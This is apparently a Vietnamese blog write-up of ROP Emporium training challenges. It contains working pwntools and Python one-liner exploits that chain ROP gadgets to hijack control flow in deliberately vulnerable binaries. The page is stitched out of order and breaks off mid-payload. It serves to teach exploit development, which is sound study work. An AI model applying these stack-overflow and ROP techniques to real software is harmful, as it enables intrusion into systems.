<p>Ta thấy sau <code>call qword [r12 + rbx*8]</code> thì rbx sẽ từ 0 thêm 1 và nếu rbp khác rbx thì sẽ quay lại 0x400680. Đó là lí do tại payload1 ta sẽ cho rbp bằng 0x1 để thực hiện đoạn tiếp theo và đoạn này chứa Gadget 2</p>
<div class="highlight"><pre><span></span><code>│ ┌──> 0x00400680 4c89fa mov rdx, r15
│ ╎│ 0x00400683 4c89f6 mov rsi, r14
│ ╎│ 0x00400686 4489ef mov edi, r13d
│ ╎│ 0x00400689 41ff14dc call qword [r12 + rbx*8]
│ ╎│ 0x0040068d 4883c301 add rbx, 1
│ ╎│ 0x00400691 4839dd cmp rbp, rbx
│ └──< 0x00400694 75ea jne 0x400680
</code></pre></div>
<p>Ở payload 2 ta sẽ thêm vào rsp một đoạn padding bất kỳ do trước kế tiếp payload1 sẽ là <code>add rsp, 8</code>, tại payload 2 ta gọi hàm trong r12 ở đây là <code>__init__</code> (chỉ để giữ nguyên rsi, rdi, rdx). Kế tiếp ta truyền giá trị cho rdi do Gadget 2 trước đó chỉ control được edi. </p>
<div class="highlight"><pre><span></span><code><span class="n">payload2</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">p64</span><span class="p">(</span><span class="n">libc_csu_int</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mh">0x40</span><span class="p">)</span><span class="w"> </span><span class="c1"># Gadget 2</span><span class="w"></span>
<span class="n">payload2</span><span class="w"> </span><span class="o">+=</span><span class="w"> </span><span class="sa">b</span><span class="s1">'B'</span><span class="o">*</span><span class="mi">8</span><span class="w"></span>
<span class="n">payload2</span><span class="w"> </span><span class="o">+=</span><span class="w"> </span><span class="n">p64</span><span class="p">(</span><span class="mh">0x0</span><span class="p">)</span><span class="w"> </span><span class="c1"># rbx</span><span class="w"></span>
<span class="n">payload2</span><span class="w"> </span><span class="o">+=</span><span class="w"> </span><span class="n">p64</span><span class="p">(</span><span class="mh">0x0</span><span class="p">)</span><span class="w"> </span><span class="c1"># rbp</span><span class="w"></span>
<span class="n">payload2</span><span class="w"> </span><span class="o">+=</span><span class="w"> </span><span class="n">p64</span><span class="p">(</span><span class="mh">0x0</span><span class="p">)</span><span class="w"> </span><span class="c1"># r12</span><span class="w"></span>
<span class="n">payload2</span><span class="w"> </span><span class="o">+=</span><span class="w"> </span><span class="n">p64</span><span class="p">(</span><span class="mh">0x0</span><span class="p">)</span><span class="w"> </span><span class="c1"># r13</span><span class="w"></span>
<span class="n">payload2</span><span class="w"> </span><span class="o">+=</span><span class="w"> </span><span class="n">p64</span><span class="p">(</span><span class="mh">0x0</span><span class="p">)</span><span class="w"> </span><span class="c1"># r14</span><span class="w"></span>
<span class="n">payload2</span><span class="w"> </span><span class="o">+=</span><span class="w"> </span><span class="n">p64</span><span class="p">(</span><span class="mh">0x0</span><span class="p">)</span><span class="w"> </span><span class="c1"># r15</span><span class="w"></span>
<span class="n">payload2</span><span class="w"> </span><span class="o">+=</span><span class="w"> </span><span class="n">p64</span><span class="p">(</span><span class="mh">0x4006a3</span><span class="p">)</span><span class="w"> </span><span class="c1"># 0x00000000004006a3: pop rdi; ret;</span><span class="w"></span>
<span class="n">payload2</span><span class="w"> </span><span class="o">+=</span><span class="w"> </span><span class="n">p64</span><span class="p">(</span><span class="mh">0xdeadbeefdeadbeef</span><span class="p">)</span><span class="w"> </span><span class="c1"># -> rdi</span><span class="w"></span>
<span class="n">payload2</span><span class="w"> </span><span class="o">+=</span><span class="w"> </span><span class="n">p64</span><span class="p">(</span><span class="n">ret2win</span><span class="p">)</span><span class="w"></span>
</code></pre></div>
<p>Kết hợp 2 payload</p>
<div class="highlight"><pre><span></span><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">libc_csu_int</span> <span class="o">=</span> <span class="mh">0x400640</span> <span class="c1"># 55 0x00000640 0x00400640 GLOBAL FUNC 101 __libc_csu_init</span>
<span class="n">init</span> <span class="o">=</span> <span class="mh">0x400398</span> <span class="c1"># 0x400398 point to 0x4004d0 # 8 0x000004d0 0x004004d0 GLOBAL FUNC 0 _init</span>
<span class="n">ret2win_GOT</span> <span class="o">=</span> <span class="mh">0x601020</span> <span class="c1"># 0x00400510 ff250a0b2000 jmp qword [reloc.ret2win] ; [0x601020:8]=0x400516</span>
<span class="n">ret2win</span> <span class="o">=</span> <span class="mh">0x400510</span> <span class="c1">#2 0x00000510 0x00400510 GLOBAL FUNC 16 imp.ret2win</span>
<span class="n">context</span><span class="o">.</span><span class="n">update</span><span class="p">(</span><span class="n">arch</span><span class="o">=</span><span class="s1">'amd64'</span><span class="p">,</span> <span class="n">os</span><span class="o">=</span><span class="s1">'linux'</span><span class="p">)</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">process</span><span class="p">(</span><span class="s1">'./ret2csu'</span><span class="p">)</span>
<span class="c1"># gdb.attach(p,'''</span>
<span class="c1"># break *pwnme</span>
<span class="c1"># ''')</span>
<span class="n">payload1</span> <span class="o">=</span> <span class="sa">b</span><span class="s1">'A'</span><span class="o">*</span><span class="mi">40</span>
<span class="n">payload1</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">libc_csu_int</span> <span class="o">+</span> <span class="mh">0x5a</span><span class="p">)</span> <span class="c1"># Gadget 1</span>
<span class="n">payload1</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x0</span><span class="p">)</span> <span class="c1"># rbx</span>
<span class="n">payload1</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x1</span><span class="p">)</span> <span class="c1"># rbp -> add rbx, 0x1;cmp rbp, rbx; jne __libc_csu_init -> rbx==rbp</span>
<span class="n">payload1</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">init</span><span class="p">)</span> <span class="c1"># r12 -> call qword [r12 + rbx*8]</span>
<span class="n">payload1</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0xdeadbeefdeadbeef</span><span class="p">)</span> <span class="c1"># r13 -> edi</span>
<span class="n">payload1</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0xcafebabecafebabe</span><span class="p">)</span> <span class="c1"># r14 -> rsi</span>
<span class="n">payload1</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0xd00df00dd00df00d</span><span class="p">)</span> <span class="c1"># r15 -> rdx</span>
<span class="n">payload2</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="n">libc_csu_int</span> <span class="o">+</span> <span class="mh">0x40</span><span class="p">)</span> <span class="c1"># Gadget 2</span>
<span class="n">payload2</span> <span class="o">+=</span> <span class="sa">b</span><span class="s1">'B'</span><span class="o">*</span><span class="mi">8</span>
<span class="n">payload2</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x0</span><span class="p">)</span> <span class="c1"># rbx</span>
<span class="n">payload2</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x0</span><span class="p">)</span> <span class="c1"># rbp</span>
<span class="n">payload2</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x0</span><span class="p">)</span> <span class="c1"># r12</span>
<span class="n">payload2</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x0</span><span class="p">)</span> <span class="c1"># r13</span>
<span class="n">payload2</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x0</span><span class="p">)</span> <span class="c1"># r14</span>
<span class="n">payload2</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x0</span><span class="p">)</span> <span class="c1"># r15</span>
<span class="n">payload2</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x4006a3</span><span class="p">)</span> <span class="c1"># 0x00000000004006a3: pop rdi; ret;</span>
<span class="n">payload2</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0xdeadbeefdeadbeef</span><span class="p">)</span> <span class="c1"># -> rdi</span>
<span class="n">payload2</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">ret2win</span><span class="p">)</span>
<span class="n">line1</span> <span class="o">=</span> <span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s1">'>'</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="n">line1</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload1</span> <span class="o">+</span> <span class="n">payload2</span><span class="p">)</span>
<span class="n">line2</span> <span class="o">=</span> <span class="n">p</span><span class="o">.</span><span class="n">recvall</span><span class="p">()</span>
<span class="nb">print</span><span class="p">(</span><span class="n">line2</span><span class="p">)</span>
<span class="c1"># p.interactive()</span>
</code></pre></div>Học khai thác lỗ hổng bảo mật qua ROP Emporium2023-09-29T00:00:00+07:002023-09-29T00:00:00+07:00minixtag:familug.github.io,2023-09-29:/pwn.html<h1>ROP Emporium</h1>
<p><a href="https://ropemporium.com/">ROP Emporium</a> là chuỗi challenge dùng để hướng dẫn cách xây dựng exploit (ROP gadget bypass NX - NonExecute) dành cho newbie, cụ thể là tự build rop gadgets. </p>
<p>Trước khi bắt đầu cần lưu ý một số thứ: </p>
<ul>
<li>Lab được sử dụng ở đây là x64_86, với các …</li></ul><h1>ROP Emporium</h1>
<p><a href="https://ropemporium.com/">ROP Emporium</a> là chuỗi challenge dùng để hướng dẫn cách xây dựng exploit (ROP gadget bypass NX - NonExecute) dành cho newbie, cụ thể là tự build rop gadgets. </p>
<p>Trước khi bắt đầu cần lưu ý một số thứ: </p>
<ul>
<li>Lab được sử dụng ở đây là x64_86, với các kiến trúc khác việc xây dựng rop gadget sẽ khác nhau</li>
<li>Số lượng offset cần để smashstack và ghi đè địa trỉ trở về trong binary x86 là 40, do đó ta sẽ thêm 40 bytes “A” để ghi đè địa chỉ trả về.</li>
<li>Lab cần vô hiệu hóa ASLR, ASLR sẽ khiến cho địa chỉ của binary trong bộ nhớ được phân bổ ngẫu nhiên khiến các địa chỉ trong gadget không chính xác (Cần lỗ hổng để leak base address và cộng thêm vào)</li>
<li>Công cụ sử dụng chủ yếu gồm: Ghidra (RE), rabin2, radare2, Ropper, pwndbg.</li>
<li>Cấu trúc stack sẽ biễu diễn từ thấp đến cao</li>
</ul>
<div class="highlight"><pre><span></span><code><span class="err">[]</span><span class="w"> </span><span class="o">-></span><span class="w"> </span><span class="n">thấp</span><span class="w"></span>
<span class="p">....</span><span class="w"></span>
<span class="err">[]</span><span class="w"> </span><span class="o">-></span><span class="w"> </span><span class="n">cao</span><span class="w"></span>
<span class="n">push</span><span class="w"> </span><span class="n">rdi</span><span class="p">;</span><span class="w"> </span><span class="n">sẽ</span><span class="w"> </span><span class="n">thêm</span><span class="w"> </span><span class="n">giá</span><span class="w"> </span><span class="n">trị</span><span class="w"> </span><span class="n">rdi</span><span class="w"> </span><span class="n">vào</span><span class="w"> </span><span class="n">stack</span><span class="w"> </span><span class="n">và</span><span class="w"> </span><span class="n">thanh</span><span class="w"> </span><span class="n">ghi</span><span class="w"> </span><span class="n">rsp</span><span class="w"> </span><span class="p">(</span><span class="n">stack</span><span class="w"> </span><span class="n">pointer</span><span class="p">)</span><span class="w"> </span><span class="n">sẽ</span><span class="w"> </span><span class="n">giảm</span><span class="w"></span>
<span class="n">pop</span><span class="w"> </span><span class="n">rdi</span><span class="p">;</span><span class="w"> </span><span class="n">sẽ</span><span class="w"> </span><span class="n">lấy</span><span class="w"> </span><span class="n">giá</span><span class="w"> </span><span class="n">trị</span><span class="w"> </span><span class="n">tại</span><span class="w"> </span><span class="n">đỉnh</span><span class="w"> </span><span class="n">stack</span><span class="w"> </span><span class="n">nơi</span><span class="w"> </span><span class="n">rsp</span><span class="w"> </span><span class="n">trỏ</span><span class="w"> </span><span class="n">vào</span><span class="w"> </span><span class="n">và</span><span class="w"> </span><span class="n">giá</span><span class="w"> </span><span class="n">trị</span><span class="w"> </span><span class="n">rsp</span><span class="w"> </span><span class="n">sẽ</span><span class="w"> </span><span class="n">tăng</span><span class="w"></span>
<span class="n">mov</span><span class="w"> </span><span class="o">[</span><span class="n">rsi</span><span class="o">]</span><span class="p">,</span><span class="w"> </span><span class="n">rdi</span><span class="p">;</span><span class="w"> </span><span class="n">sẽ</span><span class="w"> </span><span class="n">lấy</span><span class="w"> </span><span class="n">giá</span><span class="w"> </span><span class="n">trị</span><span class="w"> </span><span class="n">rdi</span><span class="w"> </span><span class="n">lưu</span><span class="w"> </span><span class="n">vào</span><span class="w"> </span><span class="n">tại</span><span class="w"> </span><span class="n">địa</span><span class="w"> </span><span class="n">chỉ</span><span class="w"> </span><span class="n">bộ</span><span class="w"> </span><span class="n">nhớ</span><span class="w"> </span><span class="n">lưu</span><span class="w"> </span><span class="n">trong</span><span class="w"> </span><span class="n">thanh</span><span class="w"> </span><span class="n">ghi</span><span class="w"> </span><span class="n">rsi</span><span class="w"> </span><span class="p">(</span><span class="n">địa</span><span class="w"> </span><span class="n">chỉ</span><span class="w"> </span><span class="n">sẽ</span><span class="w"> </span><span class="n">dùng</span><span class="w"> </span><span class="o">[</span><span class="n">rsi</span><span class="o">]</span><span class="p">)</span><span class="w"></span>
</code></pre></div>
<ul>
<li>Khi xây dựng rop gadget riêng với kiến trúc x64 sẽ gặp lỗi segfault dù rằng gadget chain vẫn đúng, điều này là do stack alignment của thư viện glibc (bị tại movaps). Do đó trước khi gặp địa chỉ trả về cần phải align stack trước bằng gadget <code>ret;</code> <a href="https://ropemporium.com/guide.html#Common%20pitfalls">https://ropemporium.com/guide.html#Common%20pitfalls</a></li>
<li>Calling convention x64 khác x86. x64 sẽ lấy argument tại các thanh ghi rdi → arg1, rsi→ arg2, rdx→arg3…., xem tại đây: <a href="http://6.s081.scripts.mit.edu/sp18/x86-64-architecture-guide.html">http://6.s081.scripts.mit.edu/sp18/x86-64-architecture-guide.html</a></li>
<li>Khi kết thúc một routine (function) hay callee (hàm được gọi) thì sẽ gặp instruction ret, lúc này stack pointer sẽ tăng lên và lấy giá trị trở về tại đỉnh stack chính là hàm caller (hàm gọi), do đó khi ta ghi đè giá trị này thì sẽ kiểm soát được luồng chương trình theo ý muốn.</li>
</ul>
<h2>Ret2win</h2>
<p>Challenge 1 khá đơn giản khi đã có function ret2win nhiệm vụ chỉ cần trả về địa chỉ của function đó là được</p>
<p><img alt="" src="https://familug.github.io/images/ropemporium/Ret2win/image.png"></p>
<p>Tiến hành lấy các gadget cần thiết</p>
<div class="highlight"><pre><span></span><code><span class="err">$</span><span class="w"> </span><span class="n">rabin2</span><span class="w"> </span><span class="o">-</span><span class="n">s</span><span class="w"> </span><span class="n">ret2win</span><span class="w"></span>
<span class="o">[</span><span class="n">Symbols</span><span class="o">]</span><span class="w"></span>
<span class="n">nth</span><span class="w"> </span><span class="n">paddr</span><span class="w"> </span><span class="n">vaddr</span><span class="w"> </span><span class="n">bind</span><span class="w"> </span><span class="n">type</span><span class="w"> </span><span class="k">size</span><span class="w"> </span><span class="n">lib</span><span class="w"> </span><span class="n">name</span><span class="w"></span>
<span class="err">―――――――――――――――――――――――――――――――――――――――――――――――――――――</span><span class="w"></span>
<span class="p">...</span><span class="w"></span>
<span class="mi">36</span><span class="w"> </span><span class="mh">0x00000756</span><span class="w"> </span><span class="mh">0x00400756</span><span class="w"> </span><span class="k">LOCAL</span><span class="w"> </span><span class="n">FUNC</span><span class="w"> </span><span class="mi">27</span><span class="w"> </span><span class="n">ret2win</span><span class="w"></span>
<span class="p">...</span><span class="w"></span>
<span class="err">$</span><span class="w"> </span><span class="n">python3</span><span class="w"> </span><span class="n">Ropper</span><span class="p">.</span><span class="n">py</span><span class="w"> </span><span class="o">-</span><span class="n">f</span><span class="w"> </span><span class="n">ret2win</span><span class="w"></span>
<span class="p">...</span><span class="w"></span>
<span class="mh">0x000000000040053e</span><span class="err">:</span><span class="w"> </span><span class="n">ret</span><span class="p">;</span><span class="w"></span>
</code></pre></div>
<p>Ta sẽ build stack như sau:</p>
<div class="highlight"><pre><span></span><code><span class="w"> </span><span class="p">[</span><span class="n">A</span><span class="o">*</span><span class="mi">8</span><span class="w"> </span><span class="p">]</span><span class="w"></span>
<span class="w"> </span><span class="p">[.....]</span><span class="w"></span>
<span class="w"> </span><span class="p">[</span><span class="n">A</span><span class="o">*</span><span class="mi">8</span><span class="w"> </span><span class="p">]</span><span class="w"> </span><span class="o">-></span><span class="w"> </span><span class="mi">40</span><span class="o">*</span><span class="n">A</span><span class="w"></span>
<span class="w"> </span><span class="p">[</span><span class="mh">0x40053e</span><span class="p">]</span><span class="w"> </span><span class="o">-></span><span class="w"> </span><span class="n">ret</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="p">[</span><span class="mh">0x400756</span><span class="p">]</span><span class="w"> </span><span class="o">-></span><span class="w"> </span><span class="n">ret2win</span><span class="p">();</span><span class="w"></span>
</code></pre></div>
<p>Truyền payload vào binary</p>
<div class="highlight"><pre><span></span><code><span class="n">python3</span> <span class="o">-</span><span class="n">c</span> <span class="s2">"import sys; sys.stdout.buffer.write(b'A'*40 + b'</span><span class="se">\x3e\x05\x40\x00</span><span class="s2">' + b'</span><span class="se">\x00</span><span class="s2">'*4 + b'</span><span class="se">\x56\x07\x40\x00</span><span class="s2">' + b'</span><span class="se">\x00</span><span class="s2">'*4)"</span> <span class="o">|</span> <span class="o">./</span><span class="n">ret2win</span>
</code></pre></div>
<h2>Callme</h2>
<p>Challenge 3 sẽ hướng dẫn gọi 3 hàm liên tiếp theo thứ tự, chỉ cần gọi đúng thứ tự thì sẽ in ra flag</p>
<p>Reverse bằng Ghidra ta sẽ thấy 3 hàm lần lượt là callme_one, callme_two, callme_three</p>
<p><img alt="" src="https://familug.github.io/images/ropemporium/Callme/image.png"></p>
<p>Mỗi hàm cần truyền vào 3 tham số arg1, arg2 và arg3 lần lượt là 0xdeadbeef, 0xcafebabe và 0xd00df00d để có thể gọi hàm kế tiếp</p>
<p><img alt="" src="https://familug.github.io/images/ropemporium/Callme/1_image.png"></p>
<p>3 hàm này sử dụng lazy binding để thay đổi địa chỉ trong GOT và sẽ gọi đến địa chỉ hàm trong libcallme.so, tuy nhiên ta chỉ cần gọi địa chỉ của hàm trong binary là được. Tiến hành lấy các gadget cần thiết</p>
<div class="highlight"><pre><span></span><code><span class="err">$</span><span class="w"> </span><span class="n">rabin2</span><span class="w"> </span><span class="o">-</span><span class="n">i</span><span class="w"> </span><span class="n">callme</span><span class="w"></span>
<span class="o">[</span><span class="n">Imports</span><span class="o">]</span><span class="w"></span>
<span class="n">nth</span><span class="w"> </span><span class="n">vaddr</span><span class="w"> </span><span class="n">bind</span><span class="w"> </span><span class="n">type</span><span class="w"> </span><span class="n">lib</span><span class="w"> </span><span class="n">name</span><span class="w"></span>
<span class="err">―――――――――――――――――――――――――――――――――――――</span><span class="w"></span>
<span class="p">...</span><span class="w"></span>
<span class="mi">3</span><span class="w"> </span><span class="mh">0x004006f0</span><span class="w"> </span><span class="k">GLOBAL</span><span class="w"> </span><span class="n">FUNC</span><span class="w"> </span><span class="n">callme_three</span><span class="w"></span>
<span class="p">...</span><span class="w"></span>
<span class="mi">7</span><span class="w"> </span><span class="mh">0x00400720</span><span class="w"> </span><span class="k">GLOBAL</span><span class="w"> </span><span class="n">FUNC</span><span class="w"> </span><span class="n">callme_one</span><span class="w"></span>
<span class="p">...</span><span class="w"></span>
<span class="mi">10</span><span class="w"> </span><span class="mh">0x00400740</span><span class="w"> </span><span class="k">GLOBAL</span><span class="w"> </span><span class="n">FUNC</span><span class="w"> </span><span class="n">callme_two</span><span class="w"></span>
<span class="p">...</span><span class="w"></span>
<span class="err">$</span><span class="w"> </span><span class="n">python3</span><span class="w"> </span><span class="n">Ropper</span><span class="p">.</span><span class="n">py</span><span class="w"> </span><span class="o">-</span><span class="n">f</span><span class="w"> </span><span class="n">callme</span><span class="w"></span>
<span class="p">...</span><span class="w"></span>
<span class="mh">0x000000000040093c</span><span class="err">:</span><span class="w"> </span><span class="n">pop</span><span class="w"> </span><span class="n">rdi</span><span class="p">;</span><span class="w"> </span><span class="n">pop</span><span class="w"> </span><span class="n">rsi</span><span class="p">;</span><span class="w"> </span><span class="n">pop</span><span class="w"> </span><span class="n">rdx</span><span class="p">;</span><span class="w"> </span><span class="n">ret</span><span class="p">;</span><span class="w"> </span>
<span class="mh">0x00000000004006be</span><span class="err">:</span><span class="w"> </span><span class="n">ret</span><span class="p">;</span><span class="w"></span>
</code></pre></div>
<p>Sử dụng gadget <code>pop rdi; pop rsi; pop rdx; ret;</code> sẽ lấy lần lượt 3 vị trí kế tiếp trong stack làm argument cho hàm trả về của chúng ta</p>
<p>Ta sẽ build stack như sau:</p>
<div class="highlight"><pre><span></span><code><span class="w"> </span><span class="p">[</span><span class="n">A</span><span class="o">*</span><span class="mi">8</span><span class="w"> </span><span class="p">]</span><span class="w"></span>
<span class="w"> </span><span class="p">[.....]</span><span class="w"></span>
<span class="w"> </span><span class="p">[</span><span class="n">A</span><span class="o">*</span><span class="mi">8</span><span class="w"> </span><span class="p">]</span><span class="w"> </span><span class="o">-></span><span class="w"> </span><span class="mi">40</span><span class="o">*</span><span class="n">A</span><span class="w"></span>
<span class="w"> </span><span class="p">[</span><span class="mh">0x40093c</span><span class="p">]</span><span class="w"> </span><span class="o">-></span><span class="w"> </span><span class="n">pop</span><span class="w"> </span><span class="n">rdi</span><span class="p">;</span><span class="w"> </span><span class="n">pop</span><span class="w"> </span><span class="n">rsi</span><span class="p">;</span><span class="w"> </span><span class="n">pop</span><span class="w"> </span><span class="n">rdx</span><span class="p">;</span><span class="w"> </span><span class="n">ret</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="p">[</span><span class="mh">0xdeadbeef</span><span class="p">]</span><span class="w"> </span><span class="o">-></span><span class="w"> </span><span class="n">rdi</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="n">arg1</span><span class="w"></span>
<span class="w"> </span><span class="p">[</span><span class="mh">0xcafebabe</span><span class="p">]</span><span class="w"> </span><span class="o">-></span><span class="w"> </span><span class="n">rsi</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="n">arg2</span><span class="w"></span>
<span class="w"> </span><span class="p">[</span><span class="mh">0xd00df00d</span><span class="p">]</span><span class="w"> </span><span class="o">-></span><span class="w"> </span><span class="n">rdx</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="n">arg3</span><span class="w"></span>
<span class="w"> </span><span class="p">[</span><span class="mh">0x4006be</span><span class="p">]</span><span class="w"> </span><span class="o">-></span><span class="w"> </span><span class="n">ret</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="p">[</span><span class="mh">0x400720</span><span class="p">]</span><span class="w"> </span><span class="o">-></span><span class="w"> </span><span class="n">callme_one</span><span class="p">();</span><span class="w"></span>
<span class="w"> </span><span class="p">[</span><span class="mh">0x40093c</span><span class="p">]</span><span class="w"> </span><span class="o">-></span><span class="w"> </span><span class="n">pop</span><span class="w"> </span><span class="n">rdi</span><span class="p">;</span><span class="w"> </span><span class="n">pop</span><span class="w"> </span><span class="n">rsi</span><span class="p">;</span><span class="w"> </span><span class="n">pop</span><span class="w"> </span><span class="n">rdx</span><span class="p">;</span><span class="w"> </span><span class="n">ret</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="p">[</span><span class="mh">0xdeadbeef</span><span class="p">]</span><span class="w"> </span><span class="o">-></span><span class="w"> </span><span class="n">rdi</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="n">arg1</span><span class="w"></span>
<span class="w"> </span><span class="p">[</span><span class="mh">0xcafebabe</span><span class="p">]</span><span class="w"> </span><span class="o">-></span><span class="w"> </span><span class="n">rsi</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="n">arg2</span><span class="w"></span>
<span class="w"> </span><span class="p">[</span><span class="mh">0xd00df00d</span><span class="p">]</span><span class="w"> </span><span class="o">-></span><span class="w"> </span><span class="n">rdx</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="n">arg3</span><span class="w"></span>
<span class="w"> </span><span class="p">[</span><span class="mh">0x4006be</span><span class="p">]</span><span class="w"> </span><span class="o">-></span><span class="w"> </span><span class="n">ret</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="p">[</span><span class="mh">0x400740</span><span class="p">]</span><span class="w"> </span><span class="o">-></span><span class="w"> </span><span class="n">callme_two</span><span class="p">();</span><span class="w"></span>
<span class="w"> </span><span class="p">[</span><span class="mh">0x40093c</span><span class="p">]</span><span class="w"> </span><span class="o">-></span><span class="w"> </span><span class="n">pop</span><span class="w"> </span><span class="n">rdi</span><span class="p">;</span><span class="w"> </span><span class="n">pop</span><span class="w"> </span><span class="n">rsi</span><span class="p">;</span><span class="w"> </span><span class="n">pop</span><span class="w"> </span><span class="n">rdx</span><span class="p">;</span><span class="w"> </span><span class="n">ret</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="p">[</span><span class="mh">0xdeadbeef</span><span class="p">]</span><span class="w"> </span><span class="o">-></span><span class="w"> </span><span class="n">rdi</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="n">arg1</span><span class="w"></span>
<span class="w"> </span><span class="p">[</span><span class="mh">0xcafebabe</span><span class="p">]</span><span class="w"> </span><span class="o">-></span><span class="w"> </span><span class="n">rsi</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="n">arg2</span><span class="w"></span>
<span class="w"> </span><span class="p">[</span><span class="mh">0xd00df00d</span><span class="p">]</span><span class="w"> </span><span class="o">-></span><span class="w"> </span><span class="n">rdx</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="n">arg3</span><span class="w"></span>
<span class="w"> </span><span class="p">[</span><span class="mh">0x4006be</span><span class="p">]</span><span class="w"> </span><span class="o">-></span><span class="w"> </span><span class="n">ret</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="p">[</span><span class="mh">0x4006f0</span><span class="p">]</span><span class="w"> </span><span class="o">-></span><span class="w"> </span><span class="n">callme_three</span><span class="p">();</span><span class="w"></span>
</code></pre></div>
<p>Truyền payload vào binary</p>
<div class="highlight"><pre><span></span><code><span class="n">python3</span> <span class="o">-</span><span class="n">c</span> <span class="err">“</span><span class="kn">import</span> <span class="nn">sys</span><span class="p">;</span><span class="n">sys</span><span class="o">.</span><span class="n">stdout</span><span class="o">.</span><span class="n">buffer</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="sa">b</span><span class="s1">'A'</span><span class="o">*</span><span class="mi">40</span> <span class="o">+</span> <span class="sa">b</span><span class="s1">'</span><span class="se">\x3c\x09\x40\x00</span><span class="s1">'</span> <span class="o">+</span> <span class="sa">b</span><span class="s1">'</span><span class="se">\x00</span><span class="s1">'</span><span class="o">*</span><span class="mi">4</span> <span class="o">+</span> <span class="sa">b</span><span class="s1">'</span><span class="se">\xef\xbe\xad\xde</span><span class="s1">'</span><span class="o">*</span><span class="mi">2</span> <span class="o">+</span> <span class="sa">b</span><span class="s1">'</span><span class="se">\xbe\xba\xfe\xca</span><span class="s1">'</span><span class="o">*</span><span class="mi">2</span> <span class="o">+</span> <span class="sa">b</span><span class="s1">'</span><span class="se">\x0d\xf0\x0d\xd0</span><span class="s1">'</span><span class="o">*</span><span class="mi">2</span> <span class="o">+</span> <span class="sa">b</span><span class="s1">'</span><span class="se">\xbe\x06\x40\x00</span><span class="s1">'</span> <span class="o">+</span> <span class="sa">b</span><span class="s1">'</span><span class="se">\x00</span><span class="s1">'</span><span class="o">*</span><span class="mi">4</span> <span class="o">+</span> <span class="sa">b</span><span class="s1">'</span><span class="se">\x20\x07\x40\x00</span><span class="s1">'</span> <span class="o">+</span> <span class="sa">b</span><span class="s1">'</span><span class="se">\x00</span><span class="s1">'</span><span class="o">*</span><span class="mi">4</span> <span class="o">+</span> <span class="sa">b</span><span class="s1">'</span><span class="se">\x3c\x09\x40\x00</span><span class="s1">'</span> <span class="o">+</span> <span class="sa">b</span><span class="s1">'</span><span class="se">\x00</span><span class="s1">'</span><span class="o">*</span><span class="mi">4</span> <span class="o">+</span> <span class="sa">b</span><span class="s1">'</span><span class="se">\xef\xbe\xad\xde</span><span class="s1">'</span><span class="o">*</span><span class="mi">2</span> <span class="o">+</span> <span class="sa">b</span><span class="s1">'</span><span class="se">\xbe\xba\xfe\xca</span><span class="s1">'</span><span class="o">*</span><span class="mi">2</span> <span class="o">+</span> <span class="sa">b</span><span class="s1">'</span><span class="se">\x0d\xf0\x0d\xd0</span><span class="s1">'</span><span class="o">*</span><span class="mi">2</span> <span class="o">+</span> <span class="sa">b</span><span class="s1">'</span><span class="se">\xbe\x06\x40\x00</span><span class="s1">'</span> <span class="o">+</span> <span class="sa">b</span><span class="s1">'</span><span class="se">\x00</span><span class="s1">'</span><span class="o">*</span><span class="mi">4</span> <span class="o">+</span> <span class="sa">b</span><span class="s1">'</span><span class="se">\x40\x07\x40\x00</span><span class="s1">'</span> <span class="o">+</span> <span class="sa">b</span><span class="s1">'</span><span class="se">\x00</span><span class="s1">'</span><span class="o">*</span><span class="mi">4</span> <span class="o">+</span> <span class="sa">b</span><span class="s1">'</span><span class="se">\x3c\x09\x40\x00</span><span class="s1">'</span> <span class="o">+</span> <span class="sa">b</span><span class="s1">'</span><span class="se">\x00</span><span class="s1">'</span><span class="o">*</span><span class="mi">4</span> <span class="o">+</span> <span class="sa">b</span><span class="s1">'</span><span class="se">\xef\xbe\xad\xde</span><span class="s1">'</span><span class="o">*</span><span 